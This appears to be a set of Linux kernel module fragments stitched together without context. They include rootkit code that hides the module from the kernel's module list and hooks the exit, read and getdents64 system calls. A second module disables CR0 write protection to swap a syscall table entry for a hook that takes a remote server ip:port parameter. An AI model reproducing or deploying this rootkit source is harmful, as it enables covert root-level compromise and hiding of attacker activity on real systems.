int rootondemand_init(void) { #ifdef DEBUG /* Print prev and next modules in linked list */ int *ptr=(int *)THIS_MODULE->list.prev; INCREASE_PTR(ptr,sizeof(struct list_head)); DEBUG_PRINTK("%s\n",(ptr[0]==0) ? "NONE" : (char *)ptr); ptr=(int *)THIS_MODULE->list.next; INCREASE_PTR(ptr,sizeof(struct list_head)); DEBUG_PRINTK("%s\n",(ptr[0]==0) ? "NONE" : (char *)ptr); #endif /* Voluntary redundant */ #ifndef DEBUG /* Let's cloack from module list ;P */ struct list_head *l_ptr=&THIS_MODULE->list; try_module_get(THIS_MODULE); l_ptr->next->prev=l_ptr->prev; l_ptr->prev->next=l_ptr->next; l_ptr->next=LIST_POISON1; l_ptr->prev=LIST_POISON2; #endif sys_table=find_systable(); if (!sys_table) return(-EFAULT); __asm("cli"); PARASSITIZE(exit); PARASSITIZE(read); PARASSITIZE(getdents64); __asm("sti"); return(0); }
int rootondemand_init(void) { /* #ifndef DEBUG try_module_get(THIS_MODULE); #endif */ sys_table=find_systable(); if (!sys_table) return(-EFAULT); __asm("cli"); PARASSITIZE(exit); PARASSITIZE(read); __asm("sti"); return(0); }
int my_module_init(void) { addr_t * table; const char delimiter[] = ":"; printk(KERN_INFO "Load My Module ...\n"); table = find_systable(); if (table == NULL) { return -1; } //Unlock write memory write_cr0(read_cr0() & (~ 0x10000)); //Change syscall sys_saved = table[INSERT_INDEX]; table[INSERT_INDEX] = (addr_t) sys_netmalloc; //Lock write memory write_cr0(read_cr0() | 0x10000); printk(KERN_INFO "... done!\n"); printk(KERN_INFO "Check good parameter : %s\n", server); ip = strsep(&server, delimiter); port = strsep(&server, delimiter); //TODO others checks if (ip == NULL || port == NULL) { printk(KERN_INFO "bad parameter\n"); return -1; } printk(KERN_INFO "ip='%s',port='%s'\n", ip, port); return 0; }
void my_module_exit(void) { addr_t * table; printk(KERN_INFO "Unload My Module ...\n"); table = find_systable(); if (table == NULL || sys_saved != NULL) { return; } //Unlock write memory write_cr0(read_cr0() & (~ 0x10000)); //Replace syscall table[INSERT_INDEX] = sys_saved; //Lock write memory write_cr0(read_cr0() | 0x10000); printk(KERN_INFO "... done!\n"); }